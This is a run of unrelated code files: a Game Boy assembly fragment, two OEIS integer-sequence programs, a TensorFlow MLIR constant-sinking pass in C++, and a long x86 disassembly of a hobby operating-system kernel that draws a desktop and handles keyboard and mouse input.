ldff(c), a ldff(c), a ld a, 94 ldff(c), a ld a, 52 ldff(c), a ld a, 08 ldff(c), a ld a, 21 ldff(c), a ld a, ff ldff(c), a ldff(c), a ld a, 20 ldff(41), a ld a, 02 ldff(ff), a ld c, 43 ld a, 91 ldff(40), a ei ld a, 02 .text@1000 lstatint: ldff(c), a ld a, 01 .text@1019 ldff(c), a pop hl ld a, 02
; A006501: Expansion of (1+x^2) / ( (1-x)^2 * (1-x^3)^2 ). ; 1,2,4,8,12,18,27,36,48,64,80,100,125,150,180,216,252,294,343,392,448,512,576,648,729,810,900,1000,1100,1210,1331,1452,1584,1728,1872,2028,2197,2366,2548,2744,2940,3150,3375,3600,3840,4096,4352,4624,4913,5202,5508,5832,6156,6498,6859,7220,7600,8000,8400,8820,9261,9702,10164,10648,11132,11638,12167,12696,13248,13824,14400,15000,15625,16250,16900,17576,18252,18954,19683,20412,21168,21952,22736,23548,24389,25230,26100,27000,27900,28830,29791,30752,31744,32768,33792,34848,35937,37026,38148,39304 mul $0,2 seq $0,29000 ; Expansion of 1/((1-x)(1-x^2)(1-x^3)(1-x^6)).
; A060182: a(0) = 1, a(1) = 5, a(2) = 13; a(n) = 2*a(n-1) + 2, n > 2. ; 1,5,13,28,58,118,238,478,958,1918,3838,7678,15358,30718,61438,122878,245758,491518,983038,1966078,3932158,7864318,15728638,31457278,62914558,125829118,251658238,503316478,1006632958,2013265918,4026531838,8053063678,16106127358,32212254718,64424509438,128849018878,257698037758,515396075518,1030792151038,2061584302078,4123168604158,8246337208318,16492674416638,32985348833278,65970697666558,131941395333118,263882790666238,527765581332478,1055531162664958,2111062325329918,4222124650659838,8444249301319678 lpb $0 sub $0,1 add $3,5 add $1,$3 add $2,6 trn $2,$1 mov $3,$1 sub $1,$2 sub $3,2 lpe add $1,1
/* Copyright 2020 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include "llvm/ADT/DenseMap.h" #include "llvm/Support/Casting.h" #include "mlir-hlo/Dialect/mhlo/IR/hlo_ops.h" #include "mlir-hlo/Dialect/mhlo/transforms/PassDetail.h" #include "mlir/Dialect/Func/IR/FuncOps.h" #include "mlir/IR/Operation.h" #include "mlir/Pass/Pass.h" #include "mlir/Pass/PassManager.h" #include "mlir/Support/LLVM.h" #include "mlir/Transforms/RegionUtils.h" namespace mlir { namespace mhlo { namespace { // A pass that sinks constants implicitly captured in control flow regions. This // is necessary to export to XLA. // // TODO(b/203775547): Any value used within the region that is defined outside // of op's region should be sank to the regions and not just the constants. Ops // such as If and While whose computations doesn't require fixed signature like // Sort or Reduce have an option to pass outside values as operands of the op to // avoid recomputing those within internally. Note that doing so is the only // option in case of values defined outside that are BlockArguments of any of // the parent region. class SinkConstantsToControlFlowPass : public SinkConstantsToControlFlowPassBase< SinkConstantsToControlFlowPass> { void runOnOperation() override { getOperation().walk([](Operation* op) { for (Region& region : op->getRegions()) SinkToRegion(&region); }); } private: // Performs constant sinking into a region. static void SinkToRegion(Region* region) { llvm::DenseMap<Value, Operation*> sunk_constant; visitUsedValuesDefinedAbove({*region}, [&](OpOperand* use) { Value constant = use->get(); auto* op = constant.getDefiningOp(); if (!op || !op->hasTrait<mlir::OpTrait::ConstantLike>()) return; auto map_entry = sunk_constant.try_emplace(constant, nullptr); if (!map_entry.second) { // This constant has already been cloned into the region, reuse it. use->set(map_entry.first->getSecond()->getResult(0)); if (op->use_empty()) op->erase(); return; } if (constant.hasOneUse()) { op->moveBefore(&region->front().front()); return; } map_entry.first->getSecond() = op->clone(); region->front().getOperations().insert(region->front().begin(), map_entry.first->getSecond()); use->set(map_entry.first->getSecond()->getResult(0)); }); } }; } // anonymous namespace // TODO(hinsu): Rename this pass and move to a different file along with the // generalization to make all ops isolated from above. std::unique_ptr<OperationPass<FuncOp>> createSinkConstantsToControlFlowPass() { return std::make_unique<SinkConstantsToControlFlowPass>(); } } // namespace mhlo } // namespace mlir
; Disassembly of file: ckernel.o ; Wed Nov 2 23:38:48 2016 ; Mode: 32 bits ; Syntax: YASM/NASM ; Instruction set: 80386 CMain: ; Function begin push ebp ; 0000 _ 55 mov ebp, esp ; 0001 _ 89. E5 push esi ; 0003 _ 56 push ebx ; 0004 _ 53 sub esp, 32 ; 0005 _ 83. EC, 20 sub esp, 12 ; 0008 _ 83. EC, 0C push bootInfo ; 000B _ 68, 00000100(d) call initBootInfo ; 0010 _ E8, FFFFFFFC(rel) add esp, 16 ; 0015 _ 83. C4, 10 mov eax, dword [bootInfo] ; 0018 _ A1, 00000100(d) mov dword [ebp-1CH], eax ; 001D _ 89. 45, E4 movzx eax, word [?_095] ; 0020 _ 0F B7. 05, 00000104(d) cwde ; 0027 _ 98 mov dword [xsize], eax ; 0028 _ A3, 00000218(d) movzx eax, word [?_096] ; 002D _ 0F B7. 05, 00000106(d) cwde ; 0034 _ 98 mov dword [ysize], eax ; 0035 _ A3, 0000021C(d) sub esp, 4 ; 003A _ 83. EC, 04 push keybuf ; 003D _ 68, 00000140(d) push 32 ; 0042 _ 6A, 20 push keyinfo ; 0044 _ 68, 00000108(d) call fifo8_init ; 0049 _ E8, FFFFFFFC(rel) add esp, 16 ; 004E _ 83. C4, 10 sub esp, 4 ; 0051 _ 83. EC, 04 push mousebuf ; 0054 _ 68, 00000180(d) push 128 ; 0059 _ 68, 00000080 push mouseinfo ; 005E _ 68, 00000120(d) call fifo8_init ; 0063 _ E8, FFFFFFFC(rel) add esp, 16 ; 0068 _ 83. C4, 10 call init_palette ; 006B _ E8, FFFFFFFC(rel) call init_keyboard ; 0070 _ E8, FFFFFFFC(rel) mov eax, dword [ysize] ; 0075 _ A1, 0000021C(d) lea ecx, [eax-1DH] ; 007A _ 8D. 48, E3 mov eax, dword [xsize] ; 007D _ A1, 00000218(d) lea edx, [eax-1H] ; 0082 _ 8D. 50, FF mov eax, dword [xsize] ; 0085 _ A1, 00000218(d) sub esp, 4 ; 008A _ 83. EC, 04 push ecx ; 008D _ 51 push edx ; 008E _ 52 push 0 ; 008F _ 6A, 00 push 0 ; 0091 _ 6A, 00 push 14 ; 0093 _ 6A, 0E push eax ; 0095 _ 50 push dword [ebp-1CH] ; 0096 _ FF. 75, E4 call boxfill8 ; 0099 _ E8, FFFFFFFC(rel) add esp, 32 ; 009E _ 83. C4, 20 mov eax, dword [ysize] ; 00A1 _ A1, 0000021C(d) lea ebx, [eax-1CH] ; 00A6 _ 8D. 58, E4 mov eax, dword [xsize] ; 00A9 _ A1, 00000218(d) lea ecx, [eax-1H] ; 00AE _ 8D. 48, FF mov eax, dword [ysize] ; 00B1 _ A1, 0000021C(d) lea edx, [eax-1CH] ; 00B6 _ 8D. 50, E4 mov eax, dword [xsize] ; 00B9 _ A1, 00000218(d) sub esp, 4 ; 00BE _ 83. EC, 04 push ebx ; 00C1 _ 53 push ecx ; 00C2 _ 51 push edx ; 00C3 _ 52 push 0 ; 00C4 _ 6A, 00 push 8 ; 00C6 _ 6A, 08 push eax ; 00C8 _ 50 push dword [ebp-1CH] ; 00C9 _ FF. 75, E4 call boxfill8 ; 00CC _ E8, FFFFFFFC(rel) add esp, 32 ; 00D1 _ 83. C4, 20 mov eax, dword [ysize] ; 00D4 _ A1, 0000021C(d) lea ebx, [eax-1BH] ; 00D9 _ 8D. 58, E5 mov eax, dword [xsize] ; 00DC _ A1, 00000218(d) lea ecx, [eax-1H] ; 00E1 _ 8D. 48, FF mov eax, dword [ysize] ; 00E4 _ A1, 0000021C(d) lea edx, [eax-1BH] ; 00E9 _ 8D. 50, E5 mov eax, dword [xsize] ; 00EC _ A1, 00000218(d) sub esp, 4 ; 00F1 _ 83. EC, 04 push ebx ; 00F4 _ 53 push ecx ; 00F5 _ 51 push edx ; 00F6 _ 52 push 0 ; 00F7 _ 6A, 00 push 7 ; 00F9 _ 6A, 07 push eax ; 00FB _ 50 push dword [ebp-1CH] ; 00FC _ FF. 75, E4 call boxfill8 ; 00FF _ E8, FFFFFFFC(rel) add esp, 32 ; 0104 _ 83. C4, 20 mov eax, dword [ysize] ; 0107 _ A1, 0000021C(d) lea ebx, [eax-1H] ; 010C _ 8D. 58, FF mov eax, dword [xsize] ; 010F _ A1, 00000218(d) lea ecx, [eax-1H] ; 0114 _ 8D. 48, FF mov eax, dword [ysize] ; 0117 _ A1, 0000021C(d) lea edx, [eax-1AH] ; 011C _ 8D. 50, E6 mov eax, dword [xsize] ; 011F _ A1, 00000218(d) sub esp, 4 ; 0124 _ 83. EC, 04 push ebx ; 0127 _ 53 push ecx ; 0128 _ 51 push edx ; 0129 _ 52 push 0 ; 012A _ 6A, 00 push 8 ; 012C _ 6A, 08 push eax ; 012E _ 50 push dword [ebp-1CH] ; 012F _ FF. 75, E4 call boxfill8 ; 0132 _ E8, FFFFFFFC(rel) add esp, 32 ; 0137 _ 83. C4, 20 mov eax, dword [ysize] ; 013A _ A1, 0000021C(d) lea ecx, [eax-18H] ; 013F _ 8D. 48, E8 mov eax, dword [ysize] ; 0142 _ A1, 0000021C(d) lea edx, [eax-18H] ; 0147 _ 8D. 50, E8 mov eax, dword [xsize] ; 014A _ A1, 00000218(d) sub esp, 4 ; 014F _ 83. EC, 04 push ecx ; 0152 _ 51 push 59 ; 0153 _ 6A, 3B push edx ; 0155 _ 52 push 3 ; 0156 _ 6A, 03 push 7 ; 0158 _ 6A, 07 push eax ; 015A _ 50 push dword [ebp-1CH] ; 015B _ FF. 75, E4 call boxfill8 ; 015E _ E8, FFFFFFFC(rel) add esp, 32 ; 0163 _ 83. C4, 20 mov eax, dword [ysize] ; 0166 _ A1, 0000021C(d) lea ecx, [eax-4H] ; 016B _ 8D. 48, FC mov eax, dword [ysize] ; 016E _ A1, 0000021C(d) lea edx, [eax-18H] ; 0173 _ 8D. 50, E8 mov eax, dword [xsize] ; 0176 _ A1, 00000218(d) sub esp, 4 ; 017B _ 83. EC, 04 push ecx ; 017E _ 51 push 2 ; 017F _ 6A, 02 push edx ; 0181 _ 52 push 2 ; 0182 _ 6A, 02 push 7 ; 0184 _ 6A, 07 push eax ; 0186 _ 50 push dword [ebp-1CH] ; 0187 _ FF. 75, E4 call boxfill8 ; 018A _ E8, FFFFFFFC(rel) add esp, 32 ; 018F _ 83. C4, 20 mov eax, dword [ysize] ; 0192 _ A1, 0000021C(d) lea ecx, [eax-4H] ; 0197 _ 8D. 48, FC mov eax, dword [ysize] ; 019A _ A1, 0000021C(d) lea edx, [eax-4H] ; 019F _ 8D. 50, FC mov eax, dword [xsize] ; 01A2 _ A1, 00000218(d) sub esp, 4 ; 01A7 _ 83. EC, 04 push ecx ; 01AA _ 51 push 59 ; 01AB _ 6A, 3B push edx ; 01AD _ 52 push 3 ; 01AE _ 6A, 03 push 15 ; 01B0 _ 6A, 0F push eax ; 01B2 _ 50 push dword [ebp-1CH] ; 01B3 _ FF. 75, E4 call boxfill8 ; 01B6 _ E8, FFFFFFFC(rel) add esp, 32 ; 01BB _ 83. C4, 20 mov eax, dword [ysize] ; 01BE _ A1, 0000021C(d) lea ecx, [eax-5H] ; 01C3 _ 8D. 48, FB mov eax, dword [ysize] ; 01C6 _ A1, 0000021C(d) lea edx, [eax-17H] ; 01CB _ 8D. 50, E9 mov eax, dword [xsize] ; 01CE _ A1, 00000218(d) sub esp, 4 ; 01D3 _ 83. EC, 04 push ecx ; 01D6 _ 51 push 59 ; 01D7 _ 6A, 3B push edx ; 01D9 _ 52 push 59 ; 01DA _ 6A, 3B push 15 ; 01DC _ 6A, 0F push eax ; 01DE _ 50 push dword [ebp-1CH] ; 01DF _ FF. 75, E4 call boxfill8 ; 01E2 _ E8, FFFFFFFC(rel) add esp, 32 ; 01E7 _ 83. C4, 20 mov eax, dword [ysize] ; 01EA _ A1, 0000021C(d) lea ecx, [eax-3H] ; 01EF _ 8D. 48, FD mov eax, dword [ysize] ; 01F2 _ A1, 0000021C(d) lea edx, [eax-3H] ; 01F7 _ 8D. 50, FD mov eax, dword [xsize] ; 01FA _ A1, 00000218(d) sub esp, 4 ; 01FF _ 83. EC, 04 push ecx ; 0202 _ 51 push 59 ; 0203 _ 6A, 3B push edx ; 0205 _ 52 push 2 ; 0206 _ 6A, 02 push 0 ; 0208 _ 6A, 00 push eax ; 020A _ 50 push dword [ebp-1CH] ; 020B _ FF. 75, E4 call boxfill8 ; 020E _ E8, FFFFFFFC(rel) add esp, 32 ; 0213 _ 83. C4, 20 mov eax, dword [ysize] ; 0216 _ A1, 0000021C(d) lea ecx, [eax-3H] ; 021B _ 8D. 48, FD mov eax, dword [ysize] ; 021E _ A1, 0000021C(d) lea edx, [eax-18H] ; 0223 _ 8D. 50, E8 mov eax, dword [xsize] ; 0226 _ A1, 00000218(d) sub esp, 4 ; 022B _ 83. EC, 04 push ecx ; 022E _ 51 push 60 ; 022F _ 6A, 3C push edx ; 0231 _ 52 push 60 ; 0232 _ 6A, 3C push 0 ; 0234 _ 6A, 00 push eax ; 0236 _ 50 push dword [ebp-1CH] ; 0237 _ FF. 75, E4 call boxfill8 ; 023A _ E8, FFFFFFFC(rel) add esp, 32 ; 023F _ 83. C4, 20 mov eax, dword [ysize] ; 0242 _ A1, 0000021C(d) lea esi, [eax-18H] ; 0247 _ 8D. 70, E8 mov eax, dword [xsize] ; 024A _ A1, 00000218(d) lea ebx, [eax-4H] ; 024F _ 8D. 58, FC mov eax, dword [ysize] ; 0252 _ A1, 0000021C(d) lea ecx, [eax-18H] ; 0257 _ 8D. 48, E8 mov eax, dword [xsize] ; 025A _ A1, 00000218(d) lea edx, [eax-2FH] ; 025F _ 8D. 50, D1 mov eax, dword [xsize] ; 0262 _ A1, 00000218(d) sub esp, 4 ; 0267 _ 83. EC, 04 push esi ; 026A _ 56 push ebx ; 026B _ 53 push ecx ; 026C _ 51 push edx ; 026D _ 52 push 15 ; 026E _ 6A, 0F push eax ; 0270 _ 50 push dword [ebp-1CH] ; 0271 _ FF. 75, E4 call boxfill8 ; 0274 _ E8, FFFFFFFC(rel) add esp, 32 ; 0279 _ 83. C4, 20 mov eax, dword [ysize] ; 027C _ A1, 0000021C(d) lea esi, [eax-4H] ; 0281 _ 8D. 70, FC mov eax, dword [xsize] ; 0284 _ A1, 00000218(d) lea ebx, [eax-2FH] ; 0289 _ 8D. 58, D1 mov eax, dword [ysize] ; 028C _ A1, 0000021C(d) lea ecx, [eax-17H] ; 0291 _ 8D. 48, E9 mov eax, dword [xsize] ; 0294 _ A1, 00000218(d) lea edx, [eax-2FH] ; 0299 _ 8D. 50, D1 mov eax, dword [xsize] ; 029C _ A1, 00000218(d) sub esp, 4 ; 02A1 _ 83. EC, 04 push esi ; 02A4 _ 56 push ebx ; 02A5 _ 53 push ecx ; 02A6 _ 51 push edx ; 02A7 _ 52 push 15 ; 02A8 _ 6A, 0F push eax ; 02AA _ 50 push dword [ebp-1CH] ; 02AB _ FF. 75, E4 call boxfill8 ; 02AE _ E8, FFFFFFFC(rel) add esp, 32 ; 02B3 _ 83. C4, 20 mov eax, dword [ysize] ; 02B6 _ A1, 0000021C(d) lea esi, [eax-3H] ; 02BB _ 8D. 70, FD mov eax, dword [xsize] ; 02BE _ A1, 00000218(d) lea ebx, [eax-4H] ; 02C3 _ 8D. 58, FC mov eax, dword [ysize] ; 02C6 _ A1, 0000021C(d) lea ecx, [eax-3H] ; 02CB _ 8D. 48, FD mov eax, dword [xsize] ; 02CE _ A1, 00000218(d) lea edx, [eax-2FH] ; 02D3 _ 8D. 50, D1 mov eax, dword [xsize] ; 02D6 _ A1, 00000218(d) sub esp, 4 ; 02DB _ 83. EC, 04 push esi ; 02DE _ 56 push ebx ; 02DF _ 53 push ecx ; 02E0 _ 51 push edx ; 02E1 _ 52 push 7 ; 02E2 _ 6A, 07 push eax ; 02E4 _ 50 push dword [ebp-1CH] ; 02E5 _ FF. 75, E4 call boxfill8 ; 02E8 _ E8, FFFFFFFC(rel) add esp, 32 ; 02ED _ 83. C4, 20 mov eax, dword [ysize] ; 02F0 _ A1, 0000021C(d) lea esi, [eax-3H] ; 02F5 _ 8D. 70, FD mov eax, dword [xsize] ; 02F8 _ A1, 00000218(d) lea ebx, [eax-3H] ; 02FD _ 8D. 58, FD mov eax, dword [ysize] ; 0300 _ A1, 0000021C(d) lea ecx, [eax-18H] ; 0305 _ 8D. 48, E8 mov eax, dword [xsize] ; 0308 _ A1, 00000218(d) lea edx, [eax-3H] ; 030D _ 8D. 50, FD mov eax, dword [xsize] ; 0310 _ A1, 00000218(d) sub esp, 4 ; 0315 _ 83. EC, 04 push esi ; 0318 _ 56 push ebx ; 0319 _ 53 push ecx ; 031A _ 51 push edx ; 031B _ 52 push 7 ; 031C _ 6A, 07 push eax ; 031E _ 50 push dword [ebp-1CH] ; 031F _ FF. 75, E4 call boxfill8 ; 0322 _ E8, FFFFFFFC(rel) add esp, 32 ; 0327 _ 83. C4, 20 mov eax, dword [xsize] ; 032A _ A1, 00000218(d) sub eax, 16 ; 032F _ 83. E8, 10 mov edx, eax ; 0332 _ 89. C2 shr edx, 31 ; 0334 _ C1. EA, 1F add eax, edx ; 0337 _ 01. D0 sar eax, 1 ; 0339 _ D1. F8 mov dword [mx], eax ; 033B _ A3, 00000210(d) mov eax, dword [ysize] ; 0340 _ A1, 0000021C(d) sub eax, 44 ; 0345 _ 83. E8, 2C mov edx, eax ; 0348 _ 89. C2 shr edx, 31 ; 034A _ C1. EA, 1F add eax, edx ; 034D _ 01. D0 sar eax, 1 ; 034F _ D1. F8 mov dword [my], eax ; 0351 _ A3, 00000214(d) sub esp, 8 ; 0356 _ 83. EC, 08 push 14 ; 0359 _ 6A, 0E push mcursor ; 035B _ 68, 00000000(d) call init_mouse_cursor ; 0360 _ E8, FFFFFFFC(rel) add esp, 16 ; 0365 _ 83. C4, 10 mov ecx, dword [my] ; 0368 _ 8B. 0D, 00000214(d) mov edx, dword [mx] ; 036E _ 8B. 15, 00000210(d) mov eax, dword [xsize] ; 0374 _ A1, 00000218(d) push 16 ; 0379 _ 6A, 10 push mcursor ; 037B _ 68, 00000000(d) push ecx ; 0380 _ 51 push edx ; 0381 _ 52 push 16 ; 0382 _ 6A, 10 push 16 ; 0384 _ 6A, 10 push eax ; 0386 _ 50 push dword [ebp-1CH] ; 0387 _ FF. 75, E4 call putblock ; 038A _ E8, FFFFFFFC(rel) add esp, 32 ; 038F _ 83. C4, 20 call get_memory_block_count ; 0392 _ E8, FFFFFFFC(rel) mov dword [ebp-18H], eax ; 0397 _ 89. 45, E8 mov eax, dword [ebp-18H] ; 039A _ 8B. 45, E8 sub esp, 12 ; 039D _ 83. EC, 0C push eax ; 03A0 _ 50 call intToHexStr ; 03A1 _ E8, FFFFFFFC(rel) add esp, 16 ; 03A6 _ 83. C4, 10 mov dword [ebp-14H], eax ; 03A9 _ 89. 45, EC call get_adr_buffer ; 03AC _ E8, FFFFFFFC(rel) mov dword [ebp-10H], eax ; 03B1 _ 89. 45, F0 mov eax, dword [memman] ; 03B4 _ A1, 00000000(d) sub esp, 12 ; 03B9 _ 83. EC, 0C push eax ; 03BC _ 50 call memman_init ; 03BD _ E8, FFFFFFFC(rel) add esp, 16 ; 03C2 _ 83. C4, 10 mov eax, dword [xsize] ; 03C5 _ A1, 00000218(d) sub esp, 8 ; 03CA _ 83. EC, 08 push ?_085 ; 03CD _ 68, 00000000(d) push 7 ; 03D2 _ 6A, 07 push 0 ; 03D4 _ 6A, 00 push 0 ; 03D6 _ 6A, 00 push eax ; 03D8 _ 50 push dword [ebp-1CH] ; 03D9 _ FF. 75, E4 call showString ; 03DC _ E8, FFFFFFFC(rel) add esp, 32 ; 03E1 _ 83. C4, 20 mov eax, dword [xsize] ; 03E4 _ A1, 00000218(d) sub esp, 8 ; 03E9 _ 83. EC, 08 push ?_086 ; 03EC _ 68, 00000012(d) push 7 ; 03F1 _ 6A, 07 push 160 ; 03F3 _ 68, 000000A0 push 0 ; 03F8 _ 6A, 00 push eax ; 03FA _ 50 push dword [ebp-1CH] ; 03FB _ FF. 75, E4 call showString ; 03FE _ E8, FFFFFFFC(rel) add esp, 32 ; 0403 _ 83. C4, 20 call io_sti ; 0406 _ E8, FFFFFFFC(rel) sub esp, 12 ; 040B _ 83. EC, 0C push mdec ; 040E _ 68, 00000200(d) call enable_mouse ; 0413 _ E8, FFFFFFFC(rel) add esp, 16 ; 0418 _ 83. C4, 10 mov dword [ebp-0CH], 0 ; 041B _ C7. 45, F4, 00000000 mov dword [ebp-20H], 0 ; 0422 _ C7. 45, E0, 00000000 ?_001: call io_cli ; 0429 _ E8, FFFFFFFC(rel) sub esp, 12 ; 042E _ 83. EC, 0C push keyinfo ; 0431 _ 68, 00000108(d) call fifo8_status ; 0436 _ E8, FFFFFFFC(rel) add esp, 16 ; 043B _ 83. C4, 10 mov ebx, eax ; 043E _ 89. C3 sub esp, 12 ; 0440 _ 83. EC, 0C push mouseinfo ; 0443 _ 68, 00000120(d) call fifo8_status ; 0448 _ E8, FFFFFFFC(rel) add esp, 16 ; 044D _ 83. C4, 10 add eax, ebx ; 0450 _ 01. D8 test eax, eax ; 0452 _ 85. C0 jnz ?_002 ; 0454 _ 75, 0A call io_stihlt ; 0456 _ E8, FFFFFFFC(rel) jmp ?_004 ; 045B _ E9, 00000092 ?_002: sub esp, 12 ; 0460 _ 83. EC, 0C push keyinfo ; 0463 _ 68, 00000108(d) call fifo8_status ; 0468 _ E8, FFFFFFFC(rel) add esp, 16 ; 046D _ 83. C4, 10 test eax, eax ; 0470 _ 85. C0 jz ?_003 ; 0472 _ 74, 65 call io_sti ; 0474 _ E8, FFFFFFFC(rel) sub esp, 12 ; 0479 _ 83. EC, 0C push keyinfo ; 047C _ 68, 00000108(d) call fifo8_get ; 0481 _ E8, FFFFFFFC(rel) add esp, 16 ; 0486 _ 83. C4, 10 mov dword [ebp-0CH], eax ; 0489 _ 89. 45, F4 cmp dword [ebp-0CH], 28 ; 048C _ 83. 7D, F4, 1C jnz ?_004 ; 0490 _ 75, 60 mov ecx, dword [xsize] ; 0492 _ 8B. 0D, 00000218(d) mov edx, dword [ebp-20H] ; 0498 _ 8B. 55, E0 mov eax, edx ; 049B _ 89. D0 shl eax, 2 ; 049D _ C1. E0, 02 add eax, edx ; 04A0 _ 01. D0 shl eax, 2 ; 04A2 _ C1. E0, 02 mov edx, eax ; 04A5 _ 89. C2 mov eax, dword [ebp-10H] ; 04A7 _ 8B. 45, F0 add eax, edx ; 04AA _ 01. D0 sub esp, 12 ; 04AC _ 83. EC, 0C push 7 ; 04AF _ 6A, 07 push ecx ; 04B1 _ 51 push dword [ebp-20H] ; 04B2 _ FF. 75, E0 push dword [ebp-1CH] ; 04B5 _ FF. 75, E4 push eax ; 04B8 _ 50 call showMemoryInfo ; 04B9 _ E8, FFFFFFFC(rel) add esp, 32 ; 04BE _ 83. C4, 20 add dword [ebp-20H], 1 ; 04C1 _ 83. 45, E0, 01 mov eax, dword [ebp-20H] ; 04C5 _ 8B. 45, E0 cmp eax, dword [ebp-18H] ; 04C8 _ 3B. 45, E8 jle ?_004 ; 04CB _ 7E, 25 mov dword [ebp-20H], 0 ; 04CD _ C7. 45, E0, 00000000 jmp ?_001 ; 04D4 _ E9, FFFFFF50 ?_003: sub esp, 12 ; 04D9 _ 83. EC, 0C push mouseinfo ; 04DC _ 68, 00000120(d) call fifo8_status ; 04E1 _ E8, FFFFFFFC(rel) add esp, 16 ; 04E6 _ 83. C4, 10 test eax, eax ; 04E9 _ 85. C0 jz ?_004 ; 04EB _ 74, 05 call show_mouse_info ; 04ED _ E8, FFFFFFFC(rel) ?_004: jmp ?_001 ; 04F2 _ E9, FFFFFF32 ; CMain End of function computeMousePosition:; Function begin push ebp ; 04F7 _ 55 mov ebp, esp ; 04F8 _ 89. E5 mov eax, dword [ebp+8H] ; 04FA _ 8B. 45, 08 mov edx, dword [eax+4H] ; 04FD _ 8B. 50, 04 mov eax, dword [mx] ; 0500 _ A1, 00000210(d) add eax, edx ; 0505 _ 01. D0 mov dword [mx], eax ; 0507 _ A3, 00000210(d) mov eax, dword [ebp+8H] ; 050C _ 8B. 45, 08 mov edx, dword [eax+8H] ; 050F _ 8B. 50, 08 mov eax, dword [my] ; 0512 _ A1, 00000214(d) add eax, edx ; 0517 _ 01. D0 mov dword [my], eax ; 0519 _ A3, 00000214(d) mov eax, dword [mx] ; 051E _ A1, 00000210(d) test eax, eax ; 0523 _ 85. C0 jns ?_005 ; 0525 _ 79, 0A mov dword [mx], 0 ; 0527 _ C7. 05, 00000210(d), 00000000 ?_005: mov eax, dword [my] ; 0531 _ A1, 00000214(d) test eax, eax ; 0536 _ 85. C0 jns ?_006 ; 0538 _ 79, 0A mov dword [my], 0 ; 053A _ C7. 05, 00000214(d), 00000000 ?_006: mov eax, dword [xsize] ; 0544 _ A1, 00000218(d) lea edx, [eax-10H] ; 0549 _ 8D. 50, F0 mov eax, dword [mx] ; 054C _ A1, 00000210(d) cmp edx, eax ; 0551 _ 39. C2 jge ?_007 ; 0553 _ 7D, 0D mov eax, dword [xsize] ; 0555 _ A1, 00000218(d) sub eax, 16 ; 055A _ 83. E8, 10 mov dword [mx], eax ; 055D _ A3, 00000210(d) ?_007: mov eax, dword [ysize] ; 0562 _ A1, 0000021C(d) lea edx, [eax-10H] ; 0567 _ 8D. 50, F0 mov eax, dword [my] ; 056A _ A1, 00000214(d) cmp edx, eax ; 056F _ 39. C2 jge ?_008 ; 0571 _ 7D, 0D mov eax, dword [ysize] ; 0573 _ A1, 0000021C(d) sub eax, 16 ; 0578 _ 83. E8, 10 mov dword [my], eax ; 057B _ A3, 00000214(d) ?_008: pop ebp ; 0580 _ 5D ret ; 0581 _ C3 ; computeMousePosition End of function eraseMouse:; Function begin push ebp ; 0582 _ 55 mov ebp, esp ; 0583 _ 89. E5 push esi ; 0585 _ 56 push ebx ; 0586 _ 53 mov eax, dword [my] ; 0587 _ A1, 00000214(d) lea esi, [eax+0FH] ; 058C _ 8D. 70, 0F mov eax, dword [mx] ; 058F _ A1, 00000210(d) lea ebx, [eax+0FH] ; 0594 _ 8D. 58, 0F mov ecx, dword [my] ; 0597 _ 8B. 0D, 00000214(d) mov edx, dword [mx] ; 059D _ 8B. 15, 00000210(d) mov eax, dword [xsize] ; 05A3 _ A1, 00000218(d) sub esp, 4 ; 05A8 _ 83. EC, 04 push esi ; 05AB _ 56 push ebx ; 05AC _ 53 push ecx ; 05AD _ 51 push edx ; 05AE _ 52 push 14 ; 05AF _ 6A, 0E push eax ; 05B1 _ 50 push dword [ebp+8H] ; 05B2 _ FF. 75, 08 call boxfill8 ; 05B5 _ E8, FFFFFFFC(rel) add esp, 32 ; 05BA _ 83. C4, 20 lea esp, [ebp-8H] ; 05BD _ 8D. 65, F8 pop ebx ; 05C0 _ 5B pop esi ; 05C1 _ 5E pop ebp ; 05C2 _ 5D ret ; 05C3 _ C3 ; eraseMouse End of function drawMouse:; Function begin push ebp ; 05C4 _ 55 mov ebp, esp ; 05C5 _ 89. E5 sub esp, 8 ; 05C7 _ 83. EC, 08 mov ecx, dword [my] ; 05CA _ 8B. 0D, 00000214(d) mov edx, dword [mx] ; 05D0 _ 8B. 15, 00000210(d) mov eax, dword [xsize] ; 05D6 _ A1, 00000218(d) push 16 ; 05DB _ 6A, 10 push mcursor ; 05DD _ 68, 00000000(d) push ecx ; 05E2 _ 51 push edx ; 05E3 _ 52 push 16 ; 05E4 _ 6A, 10 push 16 ; 05E6 _ 6A, 10 push eax ; 05E8 _ 50 push dword [ebp+8H] ; 05E9 _ FF. 75, 08 call putblock ; 05EC _ E8, FFFFFFFC(rel) add esp, 32 ; 05F1 _ 83. C4, 20 leave ; 05F4 _ C9 ret ; 05F5 _ C3 ; drawMouse End of function show_mouse_info:; Function begin push ebp ; 05F6 _ 55 mov ebp, esp ; 05F7 _ 89. E5 sub esp, 24 ; 05F9 _ 83. EC, 18 mov eax, dword [bootInfo] ; 05FC _ A1, 00000100(d) mov dword [ebp-0CH], eax ; 0601 _ 89. 45, F4 mov byte [ebp-0DH], 0 ; 0604 _ C6. 45, F3, 00 call io_sti ; 0608 _ E8, FFFFFFFC(rel) sub esp, 12 ; 060D _ 83. EC, 0C push mouseinfo ; 0610 _ 68, 00000120(d) call fifo8_get ; 0615 _ E8, FFFFFFFC(rel) add esp, 16 ; 061A _ 83. C4, 10 mov byte [ebp-0DH], al ; 061D _ 88. 45, F3 movzx eax, byte [ebp-0DH] ; 0620 _ 0F B6. 45, F3 sub esp, 8 ; 0624 _ 83. EC, 08 push eax ; 0627 _ 50 push mdec ; 0628 _ 68, 00000200(d) call mouse_decode ; 062D _ E8, FFFFFFFC(rel) add esp, 16 ; 0632 _ 83. C4, 10 test eax, eax ; 0635 _ 85. C0 jz ?_009 ; 0637 _ 74, 2C sub esp, 12 ; 0639 _ 83. EC, 0C push dword [ebp-0CH] ; 063C _ FF. 75, F4 call eraseMouse ; 063F _ E8, FFFFFFFC(rel) add esp, 16 ; 0644 _ 83. C4, 10 sub esp, 12 ; 0647 _ 83. EC, 0C push mdec ; 064A _ 68, 00000200(d) call computeMousePosition ; 064F _ E8, FFFFFFFC(rel) add esp, 16 ; 0654 _ 83. C4, 10 sub esp, 12 ; 0657 _ 83. EC, 0C push dword [ebp-0CH] ; 065A _ FF. 75, F4 call drawMouse ; 065D _ E8, FFFFFFFC(rel) add esp, 16 ; 0662 _ 83. C4, 10 ?_009: leave ; 0665 _ C9 ret ; 